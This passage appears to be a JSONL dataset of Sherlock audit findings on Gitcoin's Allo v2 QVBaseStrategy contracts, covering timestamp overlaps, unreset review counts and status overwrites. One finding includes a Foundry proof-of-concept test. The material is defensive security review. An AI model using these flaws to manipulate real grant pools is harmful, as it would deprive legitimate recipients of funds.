(allocationStartTime > block.timestamp || block.timestamp > allocationEndTime) {\n revert ALLOCATION_NOT_ACTIVE();\n }\n }\n\n /// @notice Check if the allocation has ended\n /// @dev Reverts if the allocation has not ended\n function _checkOnlyAfterAllocation() internal view virtual {\n if (block.timestamp < allocationEndTime) revert ALLOCATION_NOT_ENDED();\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n1. Don't have this 1-second overlap\n2. Add a withdraw function to QVBaseStrategy","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//017-M/261.md"}} +{"title":"`QVBaseStrategy` and `DonationVotingMerkleDistributionBaseStrategy` both have conflicting interpretations of whether an allocation is active.","severity":"medium","body":"Fancy Khaki Perch\n\nmedium\n\n# `QVBaseStrategy` and `DonationVotingMerkleDistributionBaseStrategy` both have conflicting interpretations of whether an allocation is active.\n`QVBaseStrategy` and `DonationVotingMerkleDistributionBaseStrategy` both have conflicting interpretations of whether an allocation is active.\n## Vulnerability Detail\nWhen `block.timestamp == allocationEndTime`, it simultaneously satisfies both `_checkOnlyActiveAllocation` and `_checkOnlyAfterAllocation`. The status of the allocation becomes ambiguous at this moment, compromising the integrity of the protocol's functionality.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L316-L328\n```solidity\n /// @notice Check if the allocation is active\n /// @dev Reverts if the allocation is not active\n function _checkOnlyActiveAllocation() internal view virtual {\n if (allocationStartTime > block.timestamp || block.timestamp > allocationEndTime) {\n revert ALLOCATION_NOT_ACTIVE();\n }\n }\n\n /// @notice Check if the allocation has ended\n /// @dev Reverts if the allocation has not ended\n function _checkOnlyAfterAllocation() internal view virtual {\n if (block.timestamp < allocationEndTime) revert ALLOCATION_NOT_ENDED();\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L463-L477\n```solidity\n /// @notice Checks if the allocation is active and reverts if not.\n /// @dev This will revert if the allocation has not started or if the allocation has ended.\n function _checkOnlyActiveAllocation() internal view {\n if (allocationStartTime > block.timestamp || block.timestamp > allocationEndTime) {\n revert ALLOCATION_NOT_ACTIVE();\n }\n }\n\n /// @notice Checks if the allocation has ended and reverts if not.\n /// @dev This will revert if the allocation has not ended.\n function _checkOnlyAfterAllocation() internal view {\n if (block.timestamp < allocationEndTime) {\n revert ALLOCATION_NOT_ENDED();\n }\n }\n```\n## Impact\nThe status of the allocation becomes ambiguous, compromising the integrity of the protocol's functionality.\n## Code Snippet\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L316-L328\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L463-L477\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd a check for `block.timestamp == allocationEndTime` in either `_checkOnlyActiveAllocation` or `_checkOnlyAfterAllocation`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//017-M/184.md"}} +{"title":"Minimum Review Threshold Fails to Function Properly","severity":"medium","body":"Fierce Pearl Falcon\n\nmedium\n\n# Minimum Review Threshold Fails to Function Properly\n\nUsers can alter the recipient status with fewer reviews than the stipulated minimum threshold, undermining the security design of the strategy.\n\n## Vulnerability Detail\n\nIn the QVBaseStrategy contract, pool managers are responsible for reviewing applications to change a recipient's status. The status changes if the number of reviews aligns with or exceeds the minimum threshold specified by `reviewThreshold`.\n\n reviewsByStatus[recipientId][recipientStatus]++;\n\n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) { \n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L275-L277\n\nFor instance, if the current status of a recipient is 'Pending' and the `reviewThreshold` is set at `2`, the status will shift to 'Accepted' if two or more reviews endorse this status.\n\nThe crux of the issue lies in the subsequent not resetting of the `reviewsByStatus` mapping. Specifically, if a recipient requests a detail change, his status will change from `Accepted` to `Pending`. However, the `reviewsByStatus` mapping of `Accepted` status is not appropriately reset to zero but stay at two. This allows a status change from `Pending` to `Accept` to be approved with just `one` new review instead of the required `two`.\n\n if (currentStatus == Status.Accepted) {\n // recipient updating accepted application\n recipient.recipientStatus = Status.Pending;\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L419-L421\n\n## Impact\n\nDue to this loophole, recipients can sidestep the intended security measures, requiring only one 'Approved' review to switch their status back to 'Accepted', rather than the intended minimum of two. It break the security design of the strategy.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L275-L277\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L419-L421\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nReset the `reviewsByStatus` mapping after the status of the recipient is changed.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//016-M/789.md"}} +{"title":"`QVBaseStrategy` contract : recipient `reviewStatus` is not reset upon re-registration","severity":"medium","body":"Bumpy Charcoal Squid\n\nmedium\n\n# `QVBaseStrategy` contract : recipient `reviewStatus` is not reset upon re-registration\n\n`QVBaseStrategy` contract : the reviewStatus of the recipient is not reset (set to zero) when he re-registres again.\n\n## Vulnerability Detail\n\n- In `QVBaseStrategy` strategy contract: when the user first registers; his status is updated from `None` to `Pending`.\n\n- Then the pool manager can review recipients (via `reviewRecipients` function) and update their statuses from `Pending` to `Accepted` and from `Accepted` to `Pending` only (not updating to `Rejected` or `Appealed`) if these recipients statuses got votes equal to `reviewThreshold`:\n\n [QVBaseStrategy::reviewRecipients /L275-280](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-base/QVBaseStrategy.sol#L275-L280)\n\n ```solidity\n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n ```\n\n- The strategy contract allows registered recipients to re-register again with new terms; and when doing so, their statuses are updated from `Accepted` ==> `Pending` or from `Rejected` to `Appealed`:\n\n [QVBaseStrategy::\\_registerRecipient /L275-280](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-base/QVBaseStrategy.sol#L414-L429)\n\n ```solidity\n if (currentStatus == Status.None) {\n // recipient registering new application\n recipient.recipientStatus = Status.Pending;\n emit Registered(recipientId, _data, _sender);\n } else {\n if (currentStatus == Status.Accepted) {\n // recipient updating accepted application\n recipient.recipientStatus = Status.Pending;\n } else if (currentStatus == Status.Rejected) {\n // recipient updating rejected application\n recipient.recipientStatus = Status.Appealed;\n }\n\n // emit the new status with the '_data' that was passed in\n emit UpdatedRegistration(recipientId, _data, _sender, recipient.recipientStatus);\n }\n ```\n\n## Impact\n\nBut as can be noticed; the reviewRecipient status of the re-registered recipient is not reset which will result in this re-registered recipient getting `Accepted` status on their new registration in the next review round/rounds with lesser votes to reach `reviewThreshold`.\n\n## Code Snippet\n\n[QVBaseStrategy::\\_registerRecipient /L275-280](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-base/QVBaseStrategy.sol#L414-L429)\n\n```solidity\nif (currentStatus == Status.None) {\n // recipient registering new application\n recipient.recipientStatus = Status.Pending;\n emit Registered(recipientId, _data, _sender);\n } else {\n if (currentStatus == Status.Accepted) {\n // recipient updating accepted application\n recipient.recipientStatus = Status.Pending;\n } else if (currentStatus == Status.Rejected) {\n // recipient updating rejected application\n recipient.recipientStatus = Status.Appealed;\n }\n\n // emit the new status with the '_data' that was passed in\n emit UpdatedRegistration(recipientId, _data, _sender, recipient.recipientStatus);\n }\n```\n\n[QVBaseStrategy::reviewRecipients ](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288)\n\n```solidity\n function reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)\n external\n virtual\n onlyPoolManager(msg.sender)\n onlyActiveRegistration\n {\n // make sure the arrays are the same length\n uint256 recipientLength = _recipientIds.length;\n if (recipientLength != _recipientStatuses.length) revert INVALID();\n\n for (uint256 i; i < recipientLength;) {\n Status recipientStatus = _recipientStatuses[i];\n address recipientId = _recipientIds[i];\n\n // if the status is none or appealed then revert\n if (recipientStatus == Status.None || recipientStatus == Status.Appealed) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n reviewsByStatus[recipientId][recipientStatus]++;\n\n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n\n emit Reviewed(recipientId, recipientStatus, msg.sender);\n\n unchecked {\n ++i;\n }\n }\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUpdate `_registerRecipient` function to reset `reviewsByStatus[recipientId][recipientStatus]` when the recipient re-registers:\n\n```diff\nif (currentStatus == Status.None) {\n // recipient registering new application\n recipient.recipientStatus = Status.Pending;\n emit Registered(recipientId, _data, _sender);\n } else {\n if (currentStatus == Status.Accepted) {\n // recipient updating accepted application\n recipient.recipientStatus = Status.Pending;\n+ reviewsByStatus[recipientId][Status.Accepted]=0;\n } else if (currentStatus == Status.Rejected) {\n // recipient updating rejected application\n recipient.recipientStatus = Status.Appealed;\n }\n\n // emit the new status with the '_data' that was passed in\n emit UpdatedRegistration(recipientId, _data, _sender, recipient.recipientStatus);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//016-M/729-best.md"}} +{"title":"`QVBaseStrategy.reviewRecipients()`'s voting mechanism lacks a record of the voting target content (the recipient state it targets), resulting in different starting states for votes after the recipient state changes.","severity":"medium","body":"Tart Citron Platypus\n\nmedium\n\n# `QVBaseStrategy.reviewRecipients()`'s voting mechanism lacks a record of the voting target content (the recipient state it targets), resulting in different starting states for votes after the recipient state changes.\n\n## Vulnerability Detail\n\nThe current implementation only records the number of votes in `reviewsByStatus[recipientId][recipientStatus]`, that is\n- Only (recipientId, recipientStatus) is recorded\n- The `recipients[recipientId].metadata`, `recipients[recipientId].recipientAddress`, and `recipients[recipientId].useRegistryAnchor` at the time the pool manager creates the voting transaction are not recorded\n\nThis results in votes for different `recipients[recipientId].metadata`, `recipients[recipientId].recipientAddress`, and `recipients[recipientId].useRegistryAnchor` being mixed together.\n\nHere are some examples:\n\n1. Abnormal voting when `recipients[recipientId].recipientStatus == Status.Appealed`\n\nWhen `recipients[alice].recipientStatus` changes from Status.Pending to Status.Rejected, `reviewsByStatus[alice][Status.Rejected]` has already accumulated a number of votes greater than or equal to `reviewThreshold`.\n\nAlice called `registerRecipient()` to modify the information and change `recipients[alice].recipientStatus` from Status.Rejected to Status.Appealed, and starts a new round of `reviewRecipients` voting.\n\nIn this round of voting, the starting `reviewsByStatus[alice][Status.Accepted]` and `reviewsByStatus[alice][Status.Rejected]` (already at or above `reviewThreshold`) are significantly different, making it difficult to vote for `Status.Accepted` (regardless of the new information modified by Alice).\n\n2. Deceiving the number of votes in `reviewsByStatus[recipientId][recipientStatus]`\n\nBob called `registerRecipient()` to create `recipients[bob].metadata`, `recipients[bob].recipientAddress`, and `recipients[bob].useRegistryAnchor` with excellent conditions, wait until `reviewsByStatus[bob][Status.Accepted]` is close to `reviewThreshold`.\n\nBob called `registerRecipient()` to change `recipients[bob].metadata`, `recipients[bob].recipientAddress`, and `recipients[bob].useRegistryAnchor` to Bob's real conditions.\n\nAt this time, `reviewsByStatus[bob][Status.Accepted]` (already close to `reviewThreshold`) and `reviewsByStatus[bob][Status.Rejected]` are significantly different, making it difficult to vote for `Status.Rejected` (regardless of the new information modified by Bob).\n\n\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L369-L430\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider making the following changes:\n\n- Add a version number nonce field to the recipient and automatically increment it each time `registerRecipient()` is called.\n- Add the recipientNonce parameter to `reviewRecipients()`.\n- Change `reviewsByStatus[recipientId][recipientStatus]` to `reviewsByStatus[recipientId][recipientNonce][recipientStatus]`.\n- Before modifying `recipients[recipientId].recipientStatus`, require that the current nonce of `recipients[recipientId]` is consistent with recipientNonce when `reviewsByStatus[recipientId][recipientNonce][recipientStatus] >= reviewThreshold`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//016-M/680.md"}} +{"title":"reviewRecipients allows for contradictory outcomes which might make recipient non-eligible for funding","severity":"medium","body":"Young Tiger Snake\n\nmedium\n\n# reviewRecipients allows for contradictory outcomes which might make recipient non-eligible for funding\nQuadrating voting strategy's reviewal process might make a recipient **wrongfully** non eligible for funding\n\n## Vulnerability Detail\n`reviewRecipients` in the quadratic voting contract allows a pool manager to vote for different outcomes simultaneously...\nLet's suppose a recipient resubmits their application because it was disapproved by the managers. After some time it gets approved. The recipient is happy and celebrating. Little do they know it takes only one negative review from any pool manager for the application to be invalidated.\nSame is true in case of a a recipient is approved and resubmits the application. It'll take only one approval for it to be considered for funding despite all the possible negative reviews.\n\n```solidity\n if (recipientStatus == Status.None || recipientStatus == Status.Appealed) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n reviewsByStatus[recipientId][recipientStatus]++;\n\n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n\n emit Reviewed(recipientId, recipientStatus, msg.sender);\n```\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288\n\n\n## Impact\nThe real risk here for a good applicant not to be considered for funding. \n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n- Pool managers should NOT be able to simultaneously vote for different outcomes\n- It probably makes sense for votes to be dropped when there's resubmission. At least the negative ones. Because even if an application gets approved it doesn't guarantee funding.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//016-M/675.md"}} +{"title":"In QVStrategy, regular member can exclude some recipient candidates by resetting the `Accepted` status back to `Pending`","severity":"medium","body":"Original Sky Buffalo\n\nmedium\n\n# In QVStrategy, regular member can exclude some recipient candidates by resetting the `Accepted` status back to `Pending`\nIn `QVStrategy` during registration time, any member can register a potential recipient, and those recipients are later subject to voting. Such recipient will receive status `Pending`. To gain status `Accepted`, required for allocation/payout, a manager review is needed. However, that review is not final, as the registration of already reviewed `recipientId`, can be done by a regular member, and will reset the recipient status back to `Pending`. \n\nSince the strategy involves voting for recipients, lack of unanimity is inevitable. A member who disagrees with voting result may singlehandedly try to sabotage winning recipient, by registering the recipient after its reviewed, effectively changing its status back to `Pending`. If that member does this with right timing before the Registration ends, then he may effectively exclude that recipient from the voting phase and in turn, distribution of funds. \n\n## Vulnerability Detail\nDuring the registration period, profile member (or privileged member) calls `BaseStrategy::registerRecipient` which calls [QVBaseStrategy::_registerRecipient](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L369).\n\nLater, a manager reviews the registered candidates using [reviewRecipients](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254) function and assigning them statuses. For an OK candidate, `Status.Accepted` is granted. `Status.Accepted` is required to be maintained over time until Registration period ends, so that recipientId can be voted on in Allocation phase and potentially got distributed funds in Distribution phase.\n\nIf now any member calls [_registerRecipient](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L419-L421) with the recipientId that already has accepted status, it will be reset to Pending. As per the comment, perhaps there are good intentions behind that code (to be able to update) however it can be easily abused. For possible solutions, please see \"Recommendation\" section.\n\n\n## Impact\nA regular profile member may abuse that utility to manipulate voting result leading to excluding recipients he doesn't want to pass to allocation/distribution phase.\n\n## Code Snippet\n```solidity\n Status currentStatus = recipient.recipientStatus;\n\n if (currentStatus == Status.None) {\n // recipient registering new application\n recipient.recipientStatus = Status.Pending;\n emit Registered(recipientId, _data, _sender);\n } else {\n if (currentStatus == Status.Accepted) {//@audit regular member can use this maliciously\n // recipient updating accepted application\n recipient.recipientStatus = Status.Pending;\n } else if (currentStatus == Status.Rejected) {\n // recipient updating rejected application\n recipient.recipientStatus = Status.Appealed;\n }\n\n // emit the new status with the '_data' that was passed in\n emit UpdatedRegistration(recipientId, _data, _sender, recipient.recipientStatus);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nI suggest one of two solutions here: \n- Either to disallow modifications of recipient status when its already `Accepted`; then if the registering member wants to update the submission, he should manually reach to `poolManager` and ask for rejection of previous one and just register a new recipient; \n- Or to save the `msg.sender` during registration of new recipient, and only allow the status changes, if current `msg.sender` matches the original one.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//016-M/233.md"}} +{"title":"Not cleaned votes to other recipient statuses","severity":"medium","body":"Shambolic Misty Dragon\n\nmedium\n\n# Not cleaned votes to other recipient statuses\nNot cleaned votes to other recipient statuses\n\n## Vulnerability Detail\nWhen pool managers approve the status of a recipient, the votes for other statuses are not cleared. This leaves open the possibility for managers to continue voting for other statuses and potentially change the recipient's status in the future.\n\nMore than one status can be bigger than `reviewThreshold` and status of recipient can changed everyime. When recipientStatus is setted it should not be changed.\n\n## Impact\nWrongly setting of status.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L273\n\n```solidity\n for (uint256 i; i < recipientLength;) {\n Status recipientStatus = _recipientStatuses[i];\n address recipientId = _recipientIds[i];\n\n // if the status is none or appealed then revert\n if (recipientStatus == Status.None || recipientStatus == Status.Appealed) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n reviewsByStatus[recipientId][recipientStatus]++;\n\n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n\n emit Reviewed(recipientId, recipientStatus, msg.sender);\n\n unchecked {\n ++i;\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nClear votes of other statuses.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//015-M/962.md"}} +{"title":"Recipients may be excluded despite receiving enough \"Accepted\" reviews in quadratic voting allocation strategies","severity":"medium","body":"Dandy Arctic Buffalo\n\nmedium\n\n# Recipients may be excluded despite receiving enough \"Accepted\" reviews in quadratic voting allocation strategies\nRecipients should have \"Accepted\" status at the end of the active registration period if they have received a sufficient number (`reviewThreshold`) of reviews from pool managers accepting the recipient's bid. However, in the case that the recipient also receives at least `reviewThreshold` rejections, acceptance is decided by a race condition regardless of the ratio of \"Accepted\" to \"Rejected\" reviews received.\n\n## Vulnerability Detail\nThe Allo `QVSimpleStrategy` quadratic voting strategy (and any other based on `QVBaseStrategy` in the future) has/have a time period for users to register their bids to become recipients of pool funds. These bids are reviewed by pool managers during this registration period to accept or reject them from consideration in later voting and distribution of the pool's funds. At the end of the registration time period, a recipient's status becomes final and cannot be changed. \n\nThere is a logic error in `QVBaseStrategy.reviewRecipients()` that can result in an unexpected final recipient status. When a recipient receives `reviewThreshold` number of reviews with the same status, their status changes from \"Pending\" to this new status. If a recipient gets at least `reviewThreshold` reviews with \"Accepted\" and also receives at least `reviewThreshold` reviews with \"Rejected\", the final status for the recipient is that of the last review. In other words, the outcome is determined by a race condition: what was the last review received before the registration period ended? \n\nAs an example, take a pool with `QVSimpleStrategy` and `reviewThreshold` of 3. Alice registers her bid in this pool to become a pool recipient and receives 8 \"Accepted\" reviews - plenty to be accepted. However, she also receives 3 \"Rejected\" reviews. If the last review received before the end of registration is \"Rejected\", Alice's bid is excluded despite receiving sufficient \"Accepted\" reviews and far more than the rejections received.\n\nThere is currently no workaround that a pool manager can use to change a recipient's status to rectify an error caused by this issue.\n\n## Impact\nRecipients registered in a quadratic voting pool can be excluded despite receiving enough \"Accepted\" reviews (even if the majority received are \"Accepted\"), unfairly depriving them of any chance of receiving the funds distributed by the pool.\n\n## Code Snippet\nThe [`QVBaseStrategy.reviewRecipients()` function](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L249C1-L288C6) can update `recipient.recipientStatus` from \"Accepted\" to \"Rejected\":\n```solidity\n /// @notice Review recipient(s) application(s)\n /// @dev You can review multiple recipients at once or just one. This can only be called by a pool manager and\n /// only during active registration.\n /// @param _recipientIds Ids of the recipients\n /// @param _recipientStatuses Statuses of the recipients\n function reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)\n external\n virtual\n onlyPoolManager(msg.sender)\n onlyActiveRegistration\n {\n // make sure the arrays are the same length\n uint256 recipientLength = _recipientIds.length;\n if (recipientLength != _recipientStatuses.length) revert INVALID();\n\n for (uint256 i; i < recipientLength;) {\n Status recipientStatus = _recipientStatuses[i];\n address recipientId = _recipientIds[i];\n\n // if the status is none or appealed then revert\n if (recipientStatus == Status.None || recipientStatus == Status.Appealed) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n reviewsByStatus[recipientId][recipientStatus]++;\n\n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n\n emit Reviewed(recipientId, recipientStatus, msg.sender);\n\n unchecked {\n ++i;\n }\n }\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nOnce a recipient is accepted, don't allow further reviews to modify their stored `recipientStatus`.\n\nNote that there is nothing preventing pool managers from reviewing a recipient multiple times, inflating the review count. While managers are trusted not to act maliciously, this should not be allowed.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//015-M/801.md"}} +{"title":"`QVBaseStrategy::reviewRecipients()` doesn't check if the recipient is already accepted or rejected, and overwrites the current status","severity":"medium","body":"Energetic Berry Llama\n\nmedium\n\n# `QVBaseStrategy::reviewRecipients()` doesn't check if the recipient is already accepted or rejected, and overwrites the current status\nThere is a `reviewThreshold` in the `QVBaseStrategy` contract to update the recipient's status. But `QVBaseStrategy::reviewRecipients()` doesn't check the current status and immediately overwrites when the threshold is reached.\n\n## Vulnerability Detail\nIn the QV strategy contracts, recipients register themselves and wait for a pool manager to accept the registration. Pool managers can accept or reject recipients with the `reviewRecipients()` function. There is also a threshold (`reviewThreshold`) for recipients to be accepted. For example, if the `reviewThreshold` is 2, a pending recipient gets accepted when two managers accept this recipient and the `recipientStatus` is updated.\n\nHowever, `QVBaseStrategy::reviewRecipients()` function doesn't check the recipient's current status. This one alone may not be an issue because managers may want to change the status of the recipient etc. \nBut on top of that, the function also doesn't take the previous review counts into account when updating the status, and overwrites the status immediately after reaching the threshold. I'll share a scenario later about this below.\n\nHere is the `reviewRecipients()` function: \n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254C1-L288C6](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254C1-L288C6)\n\n```solidity\nfile: QVBaseStrategy.sol\n function reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)\n external\n virtual\n onlyPoolManager(msg.sender)\n onlyActiveRegistration\n {\n // make sure the arrays are the same length\n uint256 recipientLength = _recipientIds.length;\n if (recipientLength != _recipientStatuses.length) revert INVALID();\n\n for (uint256 i; i < recipientLength;) {\n Status recipientStatus = _recipientStatuses[i];\n address recipientId = _recipientIds[i];\n\n // if the status is none or appealed then revert\n if (recipientStatus == Status.None || recipientStatus == Status.Appealed) { //@audit these are the input parameter statuse not the recipient's status.\n revert RECIPIENT_ERROR(recipientId);\n }\n\n reviewsByStatus[recipientId][recipientStatus]++;\n\n --> if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) { //@audit recipientStatus is updated right after the threshold is reached. It can overwrite if the status is already set.\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n\n emit Reviewed(recipientId, recipientStatus, msg.sender);\n\n unchecked {\n ++i;\n }\n }\n }\n```\n\nAs I mentioned above, the function updates the `recipientStatus` immediately after reaching the threshold. Here is a scenario of why this might be an issue.\n\n**Example Scenario** \nThe pool has 5 managers and the `reviewThreshold` is 2.\n\n1. The first manager rejects the recipient\n \n2. The second manager accepts the recipient\n \n3. The third manager rejects the recipient. -> `recipientStatus` updated -> `status = REJECTED`\n \n4. The fourth manager rejects the recipient -> status still `REJECTED`\n \n5. The last manager accepts the recipient ->`recipientStatus` updated again -> `status = ACCEPTED`\n \n\n*3 managers rejected and 2 managers accepted the recipient but the recipient status is overwritten without checking the recipient's previous status and is ACCEPTED now.*\n\n## Coded PoC\n\nYou can prove the scenario above with the PoC. You can use the protocol's own setup for this. \n\\- Copy the snippet below and paste it into the `QVBaseStrategy.t.sol` test file. \n\\- Run forge test `--match-test test_reviewRecipient_reviewTreshold_OverwriteTheLastOne`\n\n```solidity\n//@audit More managers rejected but the recipient is accepted\n function test_reviewRecipient_reviewTreshold_OverwriteTheLastOne() public virtual {\n address recipientId = __register_recipient();\n\n // Create rejection status\n address[] memory recipientIds = new address[](1);\n recipientIds[0] = recipientId;\n IStrategy.Status[] memory Statuses = new IStrategy.Status[](1);\n Statuses[0] = IStrategy.Status.Rejected;\n\n // Reject three times with different managers\n vm.startPrank(pool_manager1());\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n\n vm.startPrank(pool_manager2());\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n\n vm.startPrank(pool_manager3());\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n\n // Three managers rejected. Status will be rejected.\n assertEq(uint8(qvStrategy().getRecipientStatus(recipientId)), uint8(IStrategy.Status.Rejected));\n assertEq(qvStrategy().reviewsByStatus(recipientId, IStrategy.Status.Rejected), 3);\n\n // Accept two times after three rejections\n Statuses[0] = IStrategy.Status.Accepted;\n vm.startPrank(pool_admin());\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n\n vm.startPrank(pool_manager4());\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n\n // 3 Rejected, 2 Accepted, but status is Accepted because it overwrites right after passing threshold.\n assertEq(uint8(qvStrategy().getRecipientStatus(recipientId)), uint8(IStrategy.Status.Accepted));\n assertEq(qvStrategy().reviewsByStatus(recipientId, IStrategy.Status.Rejected), 3);\n assertEq(qvStrategy().reviewsByStatus(recipientId, IStrategy.Status.Accepted), 2);\n }\n```\n\nYou can find the test results below:\n\n```solidity\nRunning 1 test for test/foundry/strategies/QVSimpleStrategy.t.sol:QVSimpleStrategyTest\n[PASS] test_reviewRecipient_reviewTreshold_OverwriteTheLastOne() (gas: 249604)\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.92ms\n```\n\n## Impact\nRecipient status might be overwritten with less review counts.\n\n## Code 